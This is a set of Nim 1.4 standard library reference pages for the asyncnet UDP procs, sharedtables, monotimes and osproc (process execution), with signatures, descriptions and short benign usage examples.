[Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncnet.nim#L806) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncnet.nim#L806) ``` proc isClosed(socket: AsyncSocket): bool {...}{.raises: [], tags: [].} ``` Determines whether the socket has been closed. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncnet.nim#L810) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncnet.nim#L810) ``` proc sendTo(socket: AsyncSocket; address: string; port: Port; data: string; flags = {SafeDisconn}): owned(Future[void]) {...}{.raises: [Exception], tags: [RootEffect].} ``` This proc sends `data` to the specified `address`, which may be an IP address or a hostname. If a hostname is specified this function will try each IP of that hostname. The returned future will complete once all data has been sent. If an error occurs an OSError exception will be raised. This proc is normally used with connectionless sockets (UDP sockets). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncnet.nim#L816) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncnet.nim#L816) ``` proc recvFrom(socket: AsyncSocket; data: FutureVar[string]; size: int; address: FutureVar[string]; port: FutureVar[Port]; flags = {SafeDisconn}): owned(Future[int]) {...}{. raises: [ValueError, Exception], tags: [RootEffect].} ``` Receives a datagram data from `socket` into `data`, which must be at least of size `size`. The address and port of datagram's sender will be stored into `address` and `port`, respectively. Returned future will complete once one datagram has been received, and will return size of packet received. If an error occurs an OSError exception will be raised. This proc is normally used with connectionless sockets (UDP sockets). **Notes** * `data` must be initialized to the length of `size`. * `address` must be initialized to 46 in length. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncnet.nim#L863) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncnet.nim#L863) ``` proc recvFrom(socket: AsyncSocket; size: int; flags = {SafeDisconn}): owned( Future[tuple[data: string, address: string, port: Port]]) {...}{. raises: [Exception, ValueError], tags: [RootEffect].} ``` Receives a datagram data from `socket`, which must be at least of size `size`. Returned future will complete once one datagram has been received and will return tuple with: data of packet received; and address and port of datagram's sender. If an error occurs an OSError exception will be raised. This proc is normally used with connectionless sockets (UDP sockets). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/asyncnet.nim#L917) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/asyncnet.nim#L917) Exports ------- [SOBool](net#SOBool)
programming_docs
nim sharedtables sharedtables ============ Shared table support for Nim. Use plain old non GC'ed keys and values or you'll be in trouble. Uses a single lock to protect the table, lockfree implementations welcome but if lock contention is so high that you need a lockfree hash table, you're doing it wrong. Unstable API. Imports ------- <hashes>, <math>, <locks> Types ----- ``` SharedTable[A; B] = object data: KeyValuePairSeq[A, B] counter, dataLen: int lock: Lock ``` generic hash SharedTable [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sharedtables.nim#L23) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sharedtables.nim#L23) Procs ----- ``` proc rightSize(count: Natural): int {...}{.inline, deprecated: "Deprecated since 1.4.0", raises: [], tags: [].} ``` **Deprecated:** Deprecated since 1.4.0 **Deprecated since Nim v1.4.0**, it is not needed anymore because picking the correct size is done internally. Return the value of `initialSize` to support `count` items. If more items are expected to be added, simply add that expected extra amount to the parameter before calling this. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/hashcommon.nim#L41) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/hashcommon.nim#L41) ``` proc mget[A, B](t: var SharedTable[A, B]; key: A): var B ``` retrieves the value at `t[key]`. The value can be modified. If `key` is not in `t`, the `KeyError` exception is raised. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sharedtables.nim#L114) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sharedtables.nim#L114) ``` proc mgetOrPut[A, B](t: var SharedTable[A, B]; key: A; val: B): var B ``` retrieves value at `t[key]` or puts `val` if not present, either way returning a value which can be modified. **Note**: This is inherently unsafe in the context of multi-threading since it returns a pointer to `B`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sharedtables.nim#L128) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sharedtables.nim#L128) ``` proc hasKeyOrPut[A, B](t: var SharedTable[A, B]; key: A; val: B): bool ``` returns true if `key` is in the table, otherwise inserts `value`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sharedtables.nim#L136) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sharedtables.nim#L136) ``` proc withKey[A, B](t: var SharedTable[A, B]; key: A; mapper: proc (key: A; val: var B; pairExists: var bool)) ``` Computes a new mapping for the `key` with the specified `mapper` procedure. The `mapper` takes 3 arguments: 1. `key` - the current key, if it exists, or the key passed to `withKey` otherwise; 2. `val` - the current value, if the key exists, or default value of the type otherwise; 3. `pairExists` - `true` if the key exists, `false` otherwise. The `mapper` can can modify `val` and `pairExists` values to change the mapping of the key or delete it from the table. When adding a value, make sure to set `pairExists` to `true` along with modifying the `val`. The operation is performed atomically and other operations on the table will be blocked while the `mapper` is invoked, so it should be short and simple. Example usage: ``` # If value exists, decrement it. # If it becomes zero or less, delete the key t.withKey(1'i64) do (k: int64, v: var int, pairExists: var bool): if pairExists: dec v if v <= 0: pairExists = false ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sharedtables.nim#L145) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sharedtables.nim#L145) ``` proc `[]=`[A, B](t: var SharedTable[A, B]; key: A; val: B) ``` puts a (key, value)-pair into `t`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sharedtables.nim#L193) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sharedtables.nim#L193) ``` proc add[A, B](t: var SharedTable[A, B]; key: A; val: B) ``` puts a new (key, value)-pair into `t` even if `t[key]` already exists. This can introduce duplicate keys into the table! [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sharedtables.nim#L198) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sharedtables.nim#L198) ``` proc del[A, B](t: var SharedTable[A, B]; key: A) ``` deletes `key` from hash table `t`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sharedtables.nim#L204) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sharedtables.nim#L204) ``` proc len[A, B](t: var SharedTable[A, B]): int ``` number of elements in `t` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sharedtables.nim#L209) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sharedtables.nim#L209) ``` proc init[A, B](t: var SharedTable[A, B]; initialSize = 32) ``` creates a new hash table that is empty. This proc must be called before any other usage of `t`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sharedtables.nim#L214) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sharedtables.nim#L214) ``` proc deinitSharedTable[A, B](t: var SharedTable[A, B]) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sharedtables.nim#L225) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sharedtables.nim#L225) Templates --------- ``` template withValue[A; B](t: var SharedTable[A, B]; key: A; value, body: untyped) ``` retrieves the value at `t[key]`. `value` can be modified in the scope of the `withValue` call. ``` sharedTable.withValue(key, value) do: # block is executed only if ``key`` in ``t`` # value is threadsafe in block value.name = "username" value.uid = 1000 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sharedtables.nim#L61) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sharedtables.nim#L61) ``` template withValue[A; B](t: var SharedTable[A, B]; key: A; value, body1, body2: untyped) ``` retrieves the value at `t[key]`. `value` can be modified in the scope of the `withValue` call. ``` sharedTable.withValue(key, value) do: # block is executed only if ``key`` in ``t`` # value is threadsafe in block value.name = "username" value.uid = 1000 do: # block is executed when ``key`` not in ``t`` raise newException(KeyError, "Key not found") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/collections/sharedtables.nim#L85) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/collections/sharedtables.nim#L85) nim monotimes monotimes ========= The `std/monotimes` module implements monotonic timestamps. A monotonic timestamp represents the time that has passed since some system defined point in time. The monotonic timestamps are guaranteed to always increase, meaning that that the following is guaranteed to work: ``` let a = getMonoTime() # ... do some work let b = getMonoTime() assert a <= b ``` This is not guaranteed for the `times.Time` type! This means that the `MonoTime` should be used when measuring durations of time with high precision. However, since `MonoTime` represents the time that has passed since some unknown time origin, it cannot be converted to a human readable timestamp. If this is required, the `times.Time` type should be used instead. The `MonoTime` type stores the timestamp in nanosecond resolution, but note that the actual supported time resolution differs for different systems. See also -------- * [times module](times) Imports ------- <times>, <posix> Types ----- ``` MonoTime = object ticks: int64 ``` Represents a monotonic timestamp. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/monotimes.nim#L41) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/monotimes.nim#L41) Procs ----- ``` proc getMonoTime(): MonoTime {...}{.tags: [TimeEffect], raises: [].} ``` Get the current `MonoTime` timestamp. When compiled with the JS backend and executed in a browser, this proc calls `window.performance.now()`, which is not supported by older browsers. See [MDN](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) for more information. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/monotimes.nim#L86) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/monotimes.nim#L86) ``` proc ticks(t: MonoTime): int64 {...}{.raises: [], tags: [].} ``` Returns the raw ticks value from a `MonoTime`. This value always uses nanosecond time resolution. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/monotimes.nim#L116) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/monotimes.nim#L116) ``` proc `$`(t: MonoTime): string {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/monotimes.nim#L121) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/monotimes.nim#L121) ``` proc `-`(a, b: MonoTime): Duration {...}{.raises: [], tags: [].} ``` Returns the difference between two `MonoTime` timestamps as a `Duration`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/monotimes.nim#L124) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/monotimes.nim#L124) ``` proc `+`(a: MonoTime; b: Duration): MonoTime {...}{.raises: [], tags: [].} ``` Increases `a` by `b`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/monotimes.nim#L128) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/monotimes.nim#L128) ``` proc `-`(a: MonoTime; b: Duration): MonoTime {...}{.raises: [], tags: [].} ``` Reduces `a` by `b`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/monotimes.nim#L132) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/monotimes.nim#L132) ``` proc `<`(a, b: MonoTime): bool {...}{.raises: [], tags: [].} ``` Returns true if `a` happened before `b`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/monotimes.nim#L136) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/monotimes.nim#L136) ``` proc `<=`(a, b: MonoTime): bool {...}{.raises: [], tags: [].} ``` Returns true if `a` happened before `b` or if they happened simultaneous. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/monotimes.nim#L140) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/monotimes.nim#L140) ``` proc `==`(a, b: MonoTime): bool {...}{.raises: [], tags: [].} ``` Returns true if `a` and `b` happened simultaneous. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/monotimes.nim#L144) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/monotimes.nim#L144) ``` proc high(typ: typedesc[MonoTime]): MonoTime ``` Returns the highest representable `MonoTime`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/monotimes.nim#L148) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/monotimes.nim#L148) ``` proc low(typ: typedesc[MonoTime]): MonoTime ``` Returns the lowest representable `MonoTime`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/std/monotimes.nim#L152) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/std/monotimes.nim#L152) nim osproc osproc ====== This module implements an advanced facility for executing OS processes and process communication. **See also:** * [os module](os) * [streams module](streams) * [memfiles module](memfiles) Imports ------- <strutils>, <os>, <strtabs>, <streams>, <cpuinfo>, <streamwrapper>, <since>, <posix>, <times> Types ----- ``` ProcessOption = enum poEchoCmd, ## Echo the command before execution. poUsePath, ## Asks system to search for executable using PATH environment ## variable. ## On Windows, this is the default. poEvalCommand, ## Pass `command` directly to the shell, without quoting. ## Use it only if `command` comes from trusted source. poStdErrToStdOut, ## Merge stdout and stderr to the stdout stream. poParentStreams, ## Use the parent's streams. poInteractive, ## Optimize the buffer handling for responsiveness for ## UI applications. Currently this only affects ## Windows: Named pipes are used so that you can peek ## at the process' output streams. poDaemon ## Windows: The program creates no Window. ## Unix: Start the program as a daemon. This is still ## work in progress! ``` Options that can be passed to [startProcess proc](#startProcess,string,string,openArray%5Bstring%5D,StringTableRef,set%5BProcessOption%5D). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/osproc.nim#L35) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/osproc.nim#L35) ``` Process = ref ProcessObj ``` Represents an operating system process. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/osproc.nim#L67) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/osproc.nim#L67) Consts ------ ``` poDemon = poDaemon ``` Nim versions before 0.20 used the wrong spelling ("demon"). Now `ProcessOption` uses the correct spelling ("daemon"), and this is needed just for backward compatibility. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/osproc.nim#L69) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/osproc.nim#L69) Procs ----- ``` proc processID(p: Process): int {...}{.gcsafe, extern: "nosp$1", raises: [], tags: [].} ``` Returns `p`'s process ID. See also: * [os.getCurrentProcessId proc](os#getCurrentProcessId) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/osproc.nim#L205) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/osproc.nim#L205) ``` proc inputHandle(p: Process): FileHandle {...}{.gcsafe, extern: "nosp$1", tags: [], raises: [].} ``` Returns `p`'s input file handle for writing to. **WARNING**: The returned `FileHandle` should not be closed manually as it is closed when closing the Process `p`. See also: * [outputHandle proc](#outputHandle,Process) * [errorHandle proc](#errorHandle,Process) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/osproc.nim#L290) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/osproc.nim#L290) ``` proc outputHandle(p: Process): FileHandle {...}{.gcsafe, extern: "nosp$1", tags: [], raises: [].} ``` Returns `p`'s output file handle for reading from. **WARNING**: The returned `FileHandle` should not be closed manually as it is closed when closing the Process `p`. See also: * [inputHandle proc](#inputHandle,Process) * [errorHandle proc](#errorHandle,Process) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/osproc.nim#L302) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/osproc.nim#L302) ``` proc errorHandle(p: Process): FileHandle {...}{.gcsafe, extern: "nosp$1", tags: [], raises: [].} ``` Returns `p`'s error file handle for reading from. **WARNING**: The returned `FileHandle` should not be closed manually as it is closed when closing the Process `p`. See also: * [inputHandle proc](#inputHandle,Process) * [outputHandle proc](#outputHandle,Process) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/osproc.nim#L314) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/osproc.nim#L314) ``` proc countProcessors(): int {...}{.gcsafe, extern: "nosp$1", raises: [], tags: [].} ``` Returns the number of the processors/cores the machine has. Returns 0 if it cannot be detected. It is implemented just calling `cpuinfo.countProcessors`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/osproc.nim#L326) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/osproc.nim#L326) ``` proc execProcesses(cmds: openArray[string]; options = {poStdErrToStdOut, poParentStreams}; n = countProcessors(); beforeRunEvent: proc (idx: int) = nil; afterRunEvent: proc (idx: int; p: Process) = nil): int {...}{. gcsafe, extern: "nosp$1", tags: [ExecIOEffect, TimeEffect, ReadEnvEffect, RootEffect], raises: [Exception, OSError].} ``` Executes the commands `cmds` in parallel. Creates `n` processes that execute in parallel. The highest (absolute) return value of all processes is returned. Runs `beforeRunEvent` before running each command. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/osproc.nim#L332) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/osproc.nim#L332) ``` proc readLines(p: Process): (seq[string], int) {...}{. raises: [Exception, IOError, OSError], tags: [ReadIOEffect].} ``` Convenience function for working with `startProcess` to read data from a background process. See also: * [lines iterator](#lines.i,Process) Example: ``` const opts = {poUsePath, poDaemon, poStdErrToStdOut} var ps: seq[Process] for prog in ["a", "b"]: # run 2 progs in parallel ps.add startProcess("nim", "", ["r", prog], nil, opts) for p in ps: let (lines, exCode) = p.readLines if exCode != 0: for line in lines: echo line p.close ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/osproc.nim#L478) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/osproc.nim#L478) ``` proc execProcess(command: string; workingDir: string = ""; args: openArray[string] = []; env: StringTableRef = nil; options: set[ProcessOption] = {poStdErrToStdOut, poUsePath, poEvalCommand}): TaintedString {...}{. gcsafe, extern: "nosp$1", tags: [ExecIOEffect, ReadIOEffect, RootEffect], raises: [Exception, IOError, OSError].} ``` A convenience procedure that executes `command` with `startProcess` and returns its output as a string. **WARNING:** This function uses `poEvalCommand` by default for backwards compatibility. Make sure to pass options explicitly. See also: * [startProcess proc](#startProcess,string,string,openArray%5Bstring%5D,StringTableRef,set%5BProcessOption%5D) * [execProcesses proc](#execProcesses,openArray%5Bstring%5D,proc(int),proc(int,Process)) * [execCmd proc](#execCmd,string) Example: ``` let outp = execProcess("nim", args=["c", "-r", "mytestfile.nim"], options={poUsePath}) let outp_shell = execProcess("nim c -r mytestfile.nim") # Note: outp may have an interleave of text from the nim compile # and any output from mytestfile when it runs ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/osproc.nim#L501) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/osproc.nim#L501) ``` proc startProcess(command: string; workingDir: string = ""; args: openArray[string] = []; env: StringTableRef = nil; options: set[ProcessOption] = {poStdErrToStdOut}): owned( Process) {...}{.gcsafe, extern: "nosp$1", tags: [ExecIOEffect, ReadEnvEffect, RootEffect], raises: [OSError, Exception].} ``` Starts a process. `Command` is the executable file, `workingDir` is the process's working directory. If `workingDir == ""` the current directory is used (default). `args` are the command line arguments that are passed to the process. On many operating systems, the first command line argument is the name of the executable. `args` should *not* contain this argument! `env` is the environment that will be passed to the process. If `env == nil` (default) the environment is inherited of the parent process. `options` are additional flags that may be passed to `startProcess`. See the documentation of [ProcessOption](#ProcessOption) for the meaning of these flags. You need to [close](#close,Process) the process when done. Note that you can't pass any `args` if you use the option `poEvalCommand`, which invokes the system shell to run the specified `command`. In this situation you have to concatenate manually the contents of `args` to `command` carefully escaping/quoting any special characters, since it will be passed *as is* to the system shell. Each system/shell may feature different escaping rules, so try to avoid this kind of shell invocation if possible as it leads to non portable software. Return value: The newly created process object. Nil is never returned, but `OSError` is raised in case of an error. See also: * [execProcesses proc](#execProcesses,openArray%5Bstring%5D,proc(int),proc(int,Process)) * [execProcess proc](#execProcess,string,string,openArray%5Bstring%5D,StringTableRef,set%5BProcessOption%5D) * [execCmd proc](#execCmd,string) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/osproc.nim#L960) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/osproc.nim#L960) ``` proc close(p: Process) {...}{.gcsafe, extern: "nosp$1", tags: [WriteIOEffect], raises: [Exception, IOError, OSError].} ``` When the process has finished executing, cleanup related handles. **WARNING:** If the process has not finished executing, this will forcibly terminate the process. Doing so may result in zombie processes and [pty leaks](http://stackoverflow.com/questions/27021641/how-to-fix-request-failed-on-channel-0). [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/osproc.nim#L1184) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/osproc.nim#L1184) ``` proc suspend(p: Process) {...}{.gcsafe, extern: "nosp$1", tags: [], raises: [OSError].} ``` Suspends the process `p`. See also: * [resume proc](#resume,Process) * [terminate proc](#terminate,Process) * [kill proc](#kill,Process) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/osproc.nim#L1201) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/osproc.nim#L1201) ``` proc resume(p: Process) {...}{.gcsafe, extern: "nosp$1", tags: [], raises: [OSError].} ``` Resumes the process `p`. See also: * [suspend proc](#suspend,Process) * [terminate proc](#terminate,Process) * [kill proc](#kill,Process) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/osproc.nim#L1204) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/osproc.nim#L1204) ``` proc running(p: Process): bool {...}{.gcsafe, extern: "nosp$1", tags: [], raises: [OSError].} ``` Returns true if the process `p` is still running. Returns immediately. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/osproc.nim#L1207) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/osproc.nim#L1207) ``` proc terminate(p: Process) {...}{.gcsafe, extern: "nosp$1", tags: [], raises: [OSError].} ``` Stop the process `p`. On Posix OSes the procedure sends `SIGTERM` to the process. On Windows the Win32 API function `TerminateProcess()` is called to stop the process. See also: * [suspend proc](#suspend,Process) * [resume proc](#resume,Process) * [kill proc](#kill,Process) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/osproc.nim#L1225) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/osproc.nim#L1225) ``` proc kill(p: Process) {...}{.gcsafe, extern: "nosp$1", tags: [], raises: [OSError].} ``` Kill the process `p`. On Posix OSes the procedure sends `SIGKILL` to the process. On Windows `kill` is simply an alias for [terminate()](#terminate,Process). See also: * [suspend proc](#suspend,Process) * [resume proc](#resume,Process) * [terminate proc](#terminate,Process) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/osproc.nim#L1229) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/osproc.nim#L1229) ``` proc waitForExit(p: Process; timeout: int = -1): int {...}{.gcsafe, extern: "nosp$1", tags: [], raises: [OSError, OSError, ValueError].} ``` Waits for the process to finish and returns `p`'s error code. **WARNING**: Be careful when using `waitForExit` for processes created without `poParentStreams` because they may fill output buffers, causing deadlock. On posix, if the process has exited because of a signal, 128 + signal number will be returned. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/osproc.nim#L1362) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/osproc.nim#L1362) ``` proc peekExitCode(p: Process): int {...}{.gcsafe, extern: "nosp$1", tags: [], raises: [].} ``` Return `-1` if the process is still running. Otherwise the process' exit code. On posix, if the process has exited because of a signal, 128 + signal number will be returned. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/osproc.nim#L1468) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/osproc.nim#L1468) ``` proc inputStream(p: Process): Stream {...}{.gcsafe, extern: "nosp$1", tags: [], raises: [OSError].} ``` Returns `p`'s input stream for writing to. **WARNING**: The returned `Stream` should not be closed manually as it is closed when closing the Process `p`. See also: * [outputStream proc](#outputStream,Process) * [errorStream proc](#errorStream,Process) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/osproc.nim#L1487) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/osproc.nim#L1487) ``` proc outputStream(p: Process): Stream {...}{.gcsafe, extern: "nosp$1", tags: [], raises: [OSError].} ``` Returns `p`'s output stream for reading from. You cannot perform peek/write/setOption operations to this stream. Use [peekableOutputStream proc](#peekableOutputStream,Process) if you need to peek stream. **WARNING**: The returned `Stream` should not be closed manually as it is closed when closing the Process `p`. See also: * [inputStream proc](#inputStream,Process) * [errorStream proc](#errorStream,Process) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/osproc.nim#L1493) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/osproc.nim#L1493) ``` proc errorStream(p: Process): Stream {...}{.gcsafe, extern: "nosp$1", tags: [], raises: [OSError].} ``` Returns `p`'s error stream for reading from. You cannot perform peek/write/setOption operations to this stream. Use [peekableErrorStream proc](#peekableErrorStream,Process) if you need to peek stream. **WARNING**: The returned `Stream` should not be closed manually as it is closed when closing the Process `p`. See also: * [inputStream proc](#inputStream,Process) * [outputStream proc](#outputStream,Process) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/osproc.nim#L1499) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/osproc.nim#L1499) ``` proc peekableOutputStream(p: Process): Stream {...}{.gcsafe, extern: "nosp$1", tags: [], raises: [OSError].} ``` Returns `p`'s output stream for reading from. You can peek returned stream. **WARNING**: The returned `Stream` should not be closed manually as it is closed when closing the Process `p`. See also: * [outputStream proc](#outputStream,Process) * [peekableErrorStream proc](#peekableErrorStream,Process) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/osproc.nim#L1505) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/osproc.nim#L1505) ``` proc peekableErrorStream(p: Process): Stream {...}{.gcsafe, extern: "nosp$1", tags: [], raises: [OSError].} ``` Returns `p`'s error stream for reading from. You can run peek operation to returned stream. **WARNING**: The returned `Stream` should not be closed manually as it is closed when closing the Process `p`. See also: * [errorStream proc](#errorStream,Process) * [peekableOutputStream proc](#peekableOutputStream,Process) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/osproc.nim#L1511) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/osproc.nim#L1511) ``` proc execCmd(command: string): int {...}{.gcsafe, extern: "nosp$1", tags: [ ExecIOEffect, ReadIOEffect, RootEffect], raises: [].} ``` Executes `command` and returns its error code. Standard input, output, error streams are inherited from the calling process. This operation is also often called system. See also: * [execCmdEx proc](#execCmdEx,string,set%5BProcessOption%5D) * [startProcess proc](#startProcess,string,string,openArray%5Bstring%5D,StringTableRef,set%5BProcessOption%5D) * [execProcess proc](#execProcess,string,string,openArray%5Bstring%5D,StringTableRef,set%5BProcessOption%5D) Example: ``` let errC = execCmd("nim c -r mytestfile.nim") ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/osproc.nim#L1520) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/osproc.nim#L1520) ``` proc hasData(p: Process): bool {...}{.raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/osproc.nim#L1560) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/osproc.nim#L1560) ``` proc execCmdEx(command: string; options: set[ProcessOption] = {poStdErrToStdOut, poUsePath}; env: StringTableRef = nil; workingDir = ""; input = ""): tuple[ output: TaintedString, exitCode: int] {...}{. tags: [ExecIOEffect, ReadIOEffect, RootEffect], gcsafe, raises: [OSError, Exception, IOError].} ``` A convenience proc that runs the `command`, and returns its `output` and `exitCode`. `env` and `workingDir` params behave as for `startProcess`. If `input.len > 0`, it is passed as stdin. Note: this could block if `input.len` is greater than your OS's maximum pipe buffer size. See also: * [execCmd proc](#execCmd,string) * [startProcess proc](#startProcess,string,string,openArray%5Bstring%5D,StringTableRef,set%5BProcessOption%5D) * [execProcess proc](#execProcess,string,string,openArray%5Bstring%5D,StringTableRef,set%5BProcessOption%5D) Example: ``` var result = execCmdEx("nim r --hints:off -", options = {}, input = "echo 3*4") import strutils, strtabs stripLineEnd(result[0]) ## portable way to remove trailing newline, if any doAssert result == ("12", 0) doAssert execCmdEx("ls --nonexistant").exitCode != 0 when defined(posix): assert execCmdEx("echo $FO", env = newStringTable({"FO": "B"})) == ("B\n", 0) assert execCmdEx("echo $PWD", workingDir = "/") == ("/\n", 0) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/osproc.nim#L1570) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/osproc.nim#L1570) Iterators --------- ``` iterator lines(p: Process): string {...}{.tags: [ReadIOEffect], raises: [Exception, IOError, OSError].} ``` Convenience iterator for working with `startProcess` to read data from a background process. See also: * [readLines proc](#readLines,Process) Example: ``` const opts = {poUsePath, poDaemon, poStdErrToStdOut} var ps: seq[Process] for prog in ["a", "b"]: # run 2 progs in parallel ps.add startProcess("nim", "", ["r", prog], nil, opts) for p in ps: var i = 0 for line in p.lines: echo line i.inc if i > 100: break p.close ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/osproc.nim#L449) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/osproc.nim#L449) Exports ------- [quoteShell](os#quoteShell,string), [quoteShellWindows](os#quoteShellWindows,string), [quoteShellPosix](os#quoteShellPosix,string)
programming_docs
